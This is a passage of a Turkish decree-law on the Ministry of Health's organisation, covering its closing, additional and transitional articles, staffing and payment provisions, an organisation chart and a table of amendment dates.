Bakanlık, diğer bakanlıkların hizmet alanına giren konulara ilişkin faaliyetlerinde, Başbakanlıkça belirlenen esaslar çerçevesinde ilgili bakanlıklara danışmak ve gerekli işbirliği ve koordinasyonu sağlamaktan sorumludur.

Mahalli idarelerle koordinasyon sorumluluğu:

Madde 42 – Bakanlık, hizmet alanına giren konularda mahalli idarelerle koordinasyonu sağlamaktan sorumludur.

Bakanlığın düzenleme görev ve yetkisi:

Madde 43 – Bakanlık, kanunla yerine getirmekle yükümlü olduğu hizmetleri tüzük, yönetmelik, tebliğ, genelge ve diğer idari metinlerle düzenlemekle görevli ve yetkilidir.

Yetki devri:

Madde 44 – Bakan, Müsteşar ve her kademedeki Bakanlık ve kuruluş yöneticileri, sınırlarını açıkça belirlemek şartıyla yetkilerinden bir kısmını astlarına devredebilir. Yetki devri, yetki devri amirin sorumluluğunu kaldırmaz.


Çeşitli Hükümler

İstatistiki bilgi toplama yetkisi:

Madde 45 – Sağlık Bakanlığı yetki, görev ve hizmet alanına giren konularda, 13/6/1962 tarih ve 53 sayılı Devlet İstatistik Enstitüsünün Görev, Yetki ve Kuruluşu Hakkında Kanunun 26 ncı maddesine dayanarak Milli Savunma Bakanlığına bağlı kurumu ve kuruluşlar hariç olmak üzere diğer tüm resmi ve özel sağlık kurum ve kuruluşlarından istatistiki bilgi toplamaya yetkilidir.


Madde 46 – 23/4/1981 gün ve 2451 sayılı Kanun hükümleri dışında kalan memurların atamaları Bakan tarafından yapılır. Ancak Bakan bu yetkisini gerekli gördüğü alt kademelere devredebilir.

Bakanlık bağlı kuruluşlarının kuruluş kanunlarındaki atamaya ilişkin hükümler saklıdır.


Madde 47 – Kadroların tesbit, ihdas, kullanımı ve iptali ile kadrolara ilişkin diğer hususlar Genel Kadro ve Usulü Hakkında Kanun Hükmünde Kararname Hükümlerine göre düzenlenir.

Yürürlükten kaldırılan hükümler:

Madde 48 – 9/6/1936 tarih ve 3017 sayılı Sıhhat ve İçtimai Muavenet Vekaleti Teşkilat ve Memurin Kanunu ile bu Kanuna ek kanunların bu Kanun Hükmündeki Kararnameye aykırı hükümleri, diğer kanunların bu Kanun Hükmünde Kararnameye aykırı hükümleri yürürlükten kaldırılmıştır.

Ek Madde 1- (Ek: 31/7/2003-4969/8 md.)

Bilimsel ve akademik nitelikleri dikkate alınarak Sağlık Bakanlığınca bilimsel nitelikli ve ruhsatlandırma komisyonlarında görevlendirilenlere, birim faaliyet bazında genel bütçe kanununa bağlı cetvelde, Türk Kodeksi Komisyonu toplantılarına katılacak komisyon üyelerine ödenmek için belirlenen ücretin dört katını geçmemek üzere ödeme yapılır. Bu ödemelerin usul, esas ve miktarları Maliye Bakanlığı ile Sağlık Bakanlığı tarafından müştereken belirlenir.

Ek Madde 2- (Ek: 14/7/2004-5217/6 md.)

Sağlık Bakanlığınca düzenlenecek veya onaylanacak her türlü ruhsatlandırma, ürün üretim ve satış izin belgesi ve mesul müdürlük belgesi ile permi ve sertifikalar üzerinden ellimilyon liradan az, onbeşmilyar liradan çok olmamak üzere Maliye Bakanlığının görüşü üzerine Sağlık Bakanlığınca belirlenecek tarifelere göre ruhsatlandırma bedeli alınır. Bu tarifeler her yıl 213 sayılı Vergi Usul Kanununa göre belirlenen yeniden değerleme oranında artırılır. Bakanlık Merkez Saymanlığınca tahsil edilen bu tutarlar bütçeye gelir kaydedilir.

Ek Madde 3- (Ek: 20/10/2005-5413/5 md.)

Kadrolu istihdamın mümkün olmadığı hallerde, ücretleri döner sermayeden veya merkezî yönetim bütçesinden karşılanmak üzere 657 sayılı Devlet Memurları Kanununun 36 ncı maddesinde belirtilen sağlık hizmetleri ve yardımcı sağlık hizmetleri sınıfındaki unvanlarda çalıştırılmak üzere merkezi sınav sonuçlarına göre 657 sayılı Kanunun 4 üncü maddesinin (B) fıkrasına tabi sözleşmeli personel çalıştırılabilir. (Ek cümle: 28/6/2006-5528/3 md.) Ancak bu maddeye göre diş tabibi ve eczacı unvanlarında çalıştırılacak personel merkezî sınav sonuçlarına bakılmaksızın kura ile yerleştirilir.  Bu şekilde sözleşmeli olarak çalıştırılan personele, aynı birimde aynı unvanlı çalışan ve hizmet yılı aynı olan emsali kadrolu personel esas alınarak görev yaptığı birimde bulunan döner sermayeden ilgili mevzuat dahilinde nöbet ücreti ödenir ve ek ödeme yapılabilir. Bunlara yapılabilecek ek ödeme hiçbir şekilde emsaline yapılabilecek ek ödeme üst sınırını geçemez.(1)(2)


(1) 28/3/2007 tarihli ve 5614 sayılı Kanunun 6 ncı maddesiyle bu maddede yer alan “ücretleri döner sermayeden karşılanmak kaydıyla” ibaresi “ücretleri döner sermayeden veya merkezî yönetim bütçesinden karşılanmak üzere ” olarak  değiştirilmiş ve  metne işlenmiştir.

(2) 28/6/2006 tarihli ve 5528 sayılı Kanunun 3 üncü maddesiyle bu maddede yer alan “ilgili mevzuat dahilinde” ibaresinden sonra gelmek üzere “nöbet ücreti ödenir ve” ibaresi eklenmiş ve metne işlenmiştir.

Ek Madde 4 – (Ek: 20/10/2005-5413/5 md.)

Kadroları Sağlık Bakanlığında olup Tıpta Uzmanlık Tüzüğü hükümlerince diğer kamu kurum ve kuruluşlarında uzmanlık eğitimi veya yan dal uzmanlık eğitimi yapmak isteyen personel; döner sermaye ek ödemesi hariç her türlü malî ve sosyal hakları Bakanlık tarafından karşılanmak üzere, Bakanlıkça bu amaçla ilgili kurum ve kuruluşlarda görevlendirilebilir ve bu şekilde görevlendirilenler eğitimlerinin bitiminde görevlendirme süresi kadar Bakanlığa hizmet yapmakla yükümlüdürler. Söz konusu personelden örneği Maliye Bakanlığı tarafından hazırlanmış, “Yüklenme Senedi ile Muteber İmzalı Müteselsil Kefalet Senedi” alınır. Anılan personelin hizmet yükümlülüğünü yerine getirmeden veya tamamlamadan görevinden ayrılması, müstafi sayılması, görevine son verilmesi veya Devlet memurluğundan çıkarılması halinde, kendileri için Bakanlıkça yapılmış olan her türlü ödemeler toplamından, hizmetin tamamlanan kısmı için hesaplanan miktar indirildikten sonra bakiye miktar kendilerinden tahsil edilir. Tahsilat, borç miktarı ve ilgilinin durumu dikkate alınarak azami beş yıla kadar taksitlendirilerek yapılır.

İlgililerin uzmanlık eğitiminde başarısızlığı veya kendi istekleri ile uzmanlık eğitimini bırakmaları durumunda ise, görevlendirme süresi kadar Bakanlığa hizmet yapmaları zorunludur. Belirtilen hizmet süresi kadar Bakanlığa hizmet yapmak istemeyenlere yapılmış olan her türlü masrafların tamamı birinci fıkradaki esaslara göre ödettirilir.

Ek Madde 5 – (Ek: 20/10/2005-5413/5 md.)

Tıpta Uzmanlık Tüzüğüne göre uzman tabip olanların uzmanlık alanlarında daha ileri seviyede yapacakları yan dal eğitimi için asistanlık sınavları Bakanlıkça yapılır veya yaptırılır. Bu sınavlara ilişkin usûl ve esaslar Bakanlık tarafından hazırlanacak ve bu Kanunun yayımı tarihinden itibaren altı ay içerisinde yürürlüğe konulacak yönetmelikle belirlenir.

Ek Madde 6 – (Ek: 28/6/2006-5528/4 md.)

Bakanlık, hizmetin yürütülmesi bakımından gerekli gördüğü ilçelerde Sağlık Grup Başkanlıkları oluşturabilir. Bu Başkanlıklara ayrıca kadro tahsisi yapılmaz ve buralarda gerek duyulan hizmetler, ilgili ilçede bulunan personel eliyle yürütülür.

Ek Madde 7 – (Ek: 3/6/2007-5683/4 md.)

Ba­kan­lık, in­sa­nî ve tek­nik yar­dım amaç­lı ve ge­çi­ci sü­re­li ol­mak üze­re yurt dı­şın­da sağ­lık bi­rim­le­ri ku­ra­bi­lir ve iş­le­te­bi­lir.

Bu amaç­la gö­rev­len­di­ri­len per­so­ne­le yurt dı­şın­da­ki gö­rev­le­ri sü­re­sin­ce gün­de­lik ve­ril­mez. Bun­la­ra git­tik­le­ri ül­ke­ler­de sü­rek­li gö­rev­le bu­lu­nan ve do­ku­zun­cu de­re­ce­nin bi­rin­ci ka­de­me­sin­den ay­lık alan mes­lek me­mur­la­rı­na öden­mek­te olan yurt­ dı­şı ay­lı­ğı­nın ya­rı­sı­nı geç­me­mek üze­re un­van­la­rı iti­ba­rıy­la Ba­kan­lar Ku­ru­lu ka­ra­rıy­la be­lir­le­nen tu­tar­da ay­lık öde­me ya­pı­lır.

Ek Madde 8 – (Ek: 21/1/2010-5947/15 md.)

Hudut ve Sahiller Sağlık Genel Müdürlüğünde çalışan memurlar ile sözleşmeli personelden taşra teşkilatında görev yapan tabipler için en yüksek Devlet memuru aylığının (ek gösterge dahil) % 400’ünü, merkez ve taşra teşkilatında görev yapan diğer personele % 200’ünü geçmemek üzere ek ödeme yapılabilir. Ek ödemenin oranı ile usul ve esasları; görev yapılan birim ve iş hacmi, görevin önem ve güçlüğü, çalışma süresi, personelin sınıfı, kadro unvanı, derecesi ve atanma biçimi gibi kriterler ile personele aylık ve özlük hakları dışında ilgili mevzuatına göre yapılan diğer ilave ödemeler dikkate alınmak suretiyle Maliye Bakanlığının uygun görüşü üzerine Sağlık Bakanlığınca belirlenir. Bu ödemelerden damga vergisi hariç herhangi bir vergi kesilmez.

Ek Madde 9 – (Ek: 21/1/2010-5947/16 md.)

Türkiye Kızılay Derneğine (KIZILAY) ait olup 1/5/2009 tarihi itibarıyla ruhsatlı olarak işletilmekte bulunan hastane ve tıp merkezlerinden, bu Kanunun yayımından itibaren altı ay içerisinde Sağlık Bakanlığı ile Kızılay arasında yapılacak protokolle Sağlık Bakanlığına devredilecek olanlarında, 1/5/2009 tarihi itibarıyla iş sözleşmesine bağlı olarak çalışmakta olan ve 14/7/1965 tarihli ve 657 sayılı Devlet Memurları Kanununun 48 inci maddesinde öngörülen genel ve ilgili kadro veya pozisyon için öngörülen özel şartları taşıyan personelden;

a) Tabipler ve diş tabipleri, istekleri halinde çalışmakta oldukları ildeki ihtiyaç bulunan sağlık kurum veya kuruluşlarının memur kadrolarına Sağlık Bakanlığınca atanırlar.

b) Tabipler ve diş tabipleri dışındaki diğer personel, istekleri halinde, yaptıkları iş, eğitim durumu ve bulundukları pozisyon dikkate alınarak Devlet Personel Başkanlığının görüşü üzerine Maliye Bakanlığının izni ile çalışmakta oldukları ildeki sağlık kurum veya kuruluşlarında Bakanlık veya döner sermaye teşkilatı adına vizelenecek pozisyonlarda istihdam edilmek üzere, 657 sayılı Kanunun 4 üncü maddesinin (B) fıkrası hükümleri uyarınca sözleşmeli personel statüsüne geçirilir.

Bu şekilde istihdam edilecek toplam tabip sayısı 180’i, sağlık personeli sayısı 490’ı ve diğer personel sayısı 705’i geçemez.

Kadro ve pozisyonlara atanma ve geçirilmede, iş sözleşmeleri askıda bulunanlar dahil tam zamanlı çalışanlar ile emeklilik veya yaşlılık aylığı kesilmek suretiyle çalışanlar dahil herhangi bir sosyal güvenlik kurumundan emeklilik veya yaşlılık aylığı bağlanmamış olanlar dikkate alınır ve işlemler sağlık kuruluşunun devir tarihini müteakip personelin bir ay içerisinde yapacakları müracaatları dahil altı ay içerisinde tamamlanır.

Personele, memur ve sözleşmeli personel statüsüne geçirilmeleri nedeniyle, iş mevzuatına göre Bakanlık veya Kızılay tarafından herhangi bir tazminat ödenmez, kullanmamış oldukları yıllık ücretli izin süreleri için herhangi bir ödeme yapılmaz. Personelin Bakanlığa devir tarihi itibariyle Kızılay’da geçen ve kıdem tazminatına esas alınabilecek hizmet süreleri; memur kadrolarına atananlar için 8/6/1949 tarihli ve 5434 sayılı Türkiye Cumhuriyeti Emekli Sandığı Kanunu uyarınca ödenecek emekli ikramiyesine esas toplam hizmet süresinin hesabında, sözleşmeli personel statüsüne geçirilenler için 657 sayılı Kanunun 4 üncü maddesinin (B) fıkrasına göre hak kazanabilecekleri iş sonu tazminatına esas toplam hizmet süresinin hesabında dikkate alınır.

Personelin emekli ikramiyesi veya iş sonu tazminatının hesabına dahil edilecek hizmet sürelerinden kaynaklanan ilave maliyetin finansmanına karşılık olmak üzere, devir tarihi itibariyle ilgililerin atandıkları kadro unvanı ile derecesi ve kademesi veya geçirildikleri sözleşmeli personel pozisyonlarının unvanı ve hizmet süreleri esas alınarak hesaplanacak emekli ikramiyesi veya iş sonu tazminatı toplam tutarı, beş yıl içerisinde beş eşit taksitte Kızılay tarafından Bakanlığın döner sermayesine ödenir veya devredilen sağlık kuruluşlarına ait taşınır bedelleri ile devredilen sağlık kuruluşlarının bulunduğu Kızılay’a ait taşınmazların kiralanması halinde kira alacağından mahsubu yapılır.

Sağlık Bakanlığına devredilen sağlık kuruluşlarına ait taşınırlardan Bakanlıkça devralınacaklar ile bunların bedeli, Maliye Bakanlığı temsilcisinin koordinatörlüğünde, Bakanlık ve Kızılay temsilcilerinden oluşacak üç kişilik komisyonlar tarafından tespit edilir ve tespit edilen tutar, Bakanlıkça belirlenecek sağlık kurum ve kuruluşlarının döner sermaye gelirlerinden karşılanır. Komisyonlar, bedel tespit ederken gerektiğinde meslek kuruluşlarından veya bilirkişilerden yararlanabilir.

Bu maddenin uygulanmasında 25/12/2009 tarihli ve 5944 sayılı 2010 Yılı Merkezi Yönetim Bütçe Kanununun 22 nci ve 23 üncü maddeleri ile 13/12/1983 tarihli ve 190 sayılı Genel Kadro ve Usulü Hakkında Kanun Hükmünde Kararnamenin 9 uncu maddesinin son fıkrasında yer alan kısıtlamalar dikkate alınmaz.


Geçici Madde 1 – Bakanlığın teşkilat ve kuruluşu, bu Kanun Hükmünde Kararname esaslarına göre yeniden düzenleninceye ve bu düzenleme uyarınca genel hükümlere göre yeni kadrolar tesbit ve ihdas edilinceye kadar bu Kanun Hükmünde Kararnamenin yürürlüğe girdiği tarihte uygulanmakta olan mevcut kadroların kullanımına devam olunur.

Geçici Madde 2 – Bu Kanun Hükmünde Kararname ile yapılan yeni düzenleme nedeni ile kadro ve görev ünvanları değişmeyenler, yeni kadrolarına atanmış sayılırlar.

Kadro ve görev ünvanları değişenler veya kaldırılanlar yeni bir kadroya atanıncaya kadar, durumlarına uygun işlerde görevlendirirler ve eski kadrolarına ait aylık, ek gösterge ve her türlü hakları, yeni görevlerinde kaldıkları sürece şahıslarına bağlı olarak saklı tutulur.

Geçici Madde 3 – Bu Kanun Hükmünde Kararnamenin uygulanmasını göstermek üzere hazırlanacak tüzük ve yönetmelikler yürürlüğe girinceye kadar mevcut tüzük ve yönetmeliklerin bu Kanun Hükmünde Kararnameye aykırı olmayan hükümlerinin uygulanmasına devam olunur.

Geçici Madde 4 – Bakanlık taşra teşkilatı bu Kanun Hükmünde kararnamenin 38 nci maddesinde belirlenen esaslara göre yeniden düzenleninceye kadar görev ve hizmetler, mevcut taşra teşkilatı tarafından yürütülmeye devam olunur.

Bakanlık taşra teşkilatını ve kadrolarını engeç sekiz ay içinde bu Kanun Hükmünde Kararnameye uygun hale getirir.

Geçici Madde 5 – Bu Kanun Hükmünde Kararnameye göre yeniden düzenleme yapılıncaya kadar, Bakanlık merkez teşkilatında değişen veya yeniden kurulan birimlere verilen görevler daha önce bu görevleri yürütmekte olan birimler tarafından yapılmaya devam edilir.

Bakanlık teşkilatını ve kadrolarını en geç sekiz ay içinde bu Kanun Hükmünde Kararnameye uygun hale getirir.

Geçici Madde 6 – Bu Kanun Hükmünde Kararname ile Refik Saydam Merkez Hıfzıssıhha Müessesesinin adı Refik Saydam Hıfzıssıhha Merkezi Başkanlığı olarak değiştirilmiştir.

Geçici Madde 7 – Bu Kanun Hükmünde Kararnamenin yürürlüğe girdiği tarihten önce, Sağlık Bakanlığında istihdam edilen bağlı ve ilgili kuruluş personeli ilgili oldukları kurumlara en geç bir yıl içerisinde iade edilir.

Geçici Madde 8 – (Ek: 8/6/1984 – KHK – 210/12 md.)

Bu Kanun Hükmünde Kararname ile kaldırılmış birimlerde görevli personel durumlarına uygun kadrolara atanırlar. Bunların aylık, ek gösterge ve her türlü hakları yeni görevlerinde kaldıkları sürece şahıslarına bağlı olarak saklı tutulur.

Geçici Madde 9 – (Ek: 31/7/2003-4969/9 md.; Mülga: 14/7/2004-5217/31 md.)

Geçici Madde 10 – (Ek: 21/6/2005 – 5371/8 md.)

Bakanlıklar ile bağlı ve ilgili kuruluşlarında müfettiş ve Maliye Bakanlığında muhasebat kontrolörü veya bütçe kontrolörü unvanını ihraz edenler Sağlık Bakanlığı müfettişliği kadrolarına, aynı kurumlarda başmüfettiş ve muhasebat baş kontrolörü veya bütçe baş kontrolörü unvanını ihraz edenler ise Sağlık Bakanlığı başmüfettişliği kadrolarına, 18.7.1990 tarihli ve 90/671 sayılı Bakanlar Kurulu Kararı ile yürürlüğe konulan Sağlık Bakanlığı Teftiş Kurulu Tüzüğünde belirlenen öğrenim şartını taşımaları kaydıyla bir yıl içinde naklen atanabilirler.

Geçici Madde 11 – (Ek: 21/1/2010-5947/17 md.)

Kamu kurum ve kuruluşlarında memur statüsünde çalışmakta iken 26/5/1995 ile 1/1/2010 tarihleri arasında görevinden çekilmiş olan ve çekilmiş sayılan tabip, diş tabibi, uzman tabip ve tıpta uzmanlık mevzuatına göre uzman olanlar, bu Kanunun yayımından itibaren altı ay içerisinde başvurmaları halinde, açıktan atama izni aranmaksızın, görevden ayrıldıkları ildeki Sağlık Bakanlığına ait kurum ve kuruluşlara, bu yerlerde ihtiyaç olmaması halinde ihtiyaç bulunan münhal yerlere açıktan atanabilirler. Görevlerinden ayrıldıkları yere mazeret sebebiyle atanmış olanlardan talep tarihinde mazereti ortadan kalkmış bulunanlar hakkında ilgili yönetmelik hükümlerine göre işlem yapılır.


Madde 49 – Bu Kanun Hükmünde Kararname yayımı tarihinde yürürlüğe girer.


Madde 50 – Bu Kanun Hükmünde Kararname hükümlerini Bakanlar Kurulu yürütür.


Müsteşar Müsteşar Yrd. Ana Hizmet Birimleri Danışma ve Denetim Birimleri Yardımcı Birimler

Müsteşar Müsteşar Yrd. 1. Temel Sağlık Hiz. Gn. Md. 1. Teftiş Kurulu Bşk 1. Personel Gn.Md.

Müsteşar Yrd. 2. Tedavi Hiz. Gn. Md. 2. (Mülga:22/12/2005-5436/17 md.) 2. İdari ve Mali İş.Dai.Bşk.

3. İlaç ve Eczacılık Gn. Md. terliği 3. Hukuk Müşavirliği 3. (Mülga:29/5/2009-5902/25 md.)

4. Sağlık Eğitimi Gn. Md. leri 4. Bakanlık Müşavirleri 4. Özel Kalem Md.ğü

5. Ana Çocuk Sağlığı ve Aile Planlaması Gn. Md. 5. Basın ve Halkla İlişkiler Müşavirliği

6. Sıtma Savaşı D. Bşk.

7. Verem Savaş D. Bşk.

8. Kanserle Savaş D. Bşk.

9. (Değişik:14/4/1989 – K H K  – 367/11 md.;
Değişik:14/3/1991-3703/21 md.)(2)
Dış ilişkiler D.Bşk.

10. (Ek:14/4/1989 – KHK – 367/11md.;
Ek:14/3/1991 – 3703/21md.)(2)
Avrupa Topluluğu Koordinasyon D. Bşk. 

11. (Ek: 3/6/2007-5683/1 md.)
İn­şa­at ve Ona­rım Da­ire­si Baş­kan­lı­ğı 

12. (Ek: 3/6/2007-5683/1 md.)
Ka­mu Özel Or­tak­lı­ğı Da­ire Baş­kan­lı­ğı

(1) 8/6/1984 tarih ve 210 sayılı KHK’ nin 11 inci maddesiyle değiştirilmiş olup, değişik şekli alınmıştır.

(2) Bu bentlerden; 9 uncu bent daha önce 367 sayılı KHK’nin 11 inci maddesi ile değiştirilmiş, 10 uncu bent ise aynı KHK ile eklenmiş olup, aynı hükümler 3703 sayılı Kanunun 21 inci maddesi ile tekrar getirilmiştir.

(3) 22/12/2005 tarihli ve 5436 sayılı Kanunun 15 inci maddesiyle, teşkilat kanununda düzenleme yapılıncaya kadar bu ve diğer Kanunlar  ile verilen görevleri yapmak üzere Strateji Geliştirme Başkanlığı kurulmuştur.

(4) Bu sırada yer alan “Savunma Sekreterliği”, 29/5/2009 tarihli ve 5902 sayılı Afet ve Acil Durum Yönetimi Başkanlığının Teşkilat ve Görevleri Hakkında Kanunun 25 inci maddesinin beşinci fıkrasıyla yürürlükten kaldırılmış olup, mezkur fıkrayla sivil savunma ve seferberlik hizmetlerini planlama ve yürütme görevlerinin, idari ve mali işler, destek hizmetleri veya bu amaçla kurulmuş hizmet birimleri tarafından yürütüleceği hüküm altına alınmıştır.


KHK No. Farklı Tarihlerde Yürürlüğe Giren Maddeler Yürürlüğe Giriş Tarihi
KHK/210 18/6/1986
KHK/356 18/3/1989 tarihinden geçerli olmak üzere 2/3/1989 tarihinde
KHK/367 4/5/1989
3703 18/3/1989 tarihinden geçerli olmak üzere 23/3/1991  tarihinde
4969 8 ve 9 uncu maddeleri 22/7/2003 tarihinden geçerli olmak üzere 12/8/2003  tarihinde
5217 Ek Madde 2, Geçici Madde 9 1/1/2005
5234 Geçici Madde 9 21/9/2004
5371 Geçici Madde 10 5/7/2005
5413 Ek Madde 3,4 ve 5 1/11/2005
5436 18 ve 20 24/12/2005
5450 12, 24 3/2/2006
5528 Ek Madde 3 ve 6 4/7/2006

Değiştiren Kanun 181 sayılı KHK’nin değiştirilen maddeleri  Yürürlüğe Giriş Tarihi
5614 Madde 31, Ek Madde 3 4/4/2007
5683 8, 17/B, 17/C, Ek Madde 7 ve (I) sayılı Cetvel 9/6/2007
5947 Ek Madde 8, 9  ve Geçici Madde 11 30/1/2010
6225 17/B ve İşlenemeyen Hüküm 26/4/2011

Kaynak: IEGM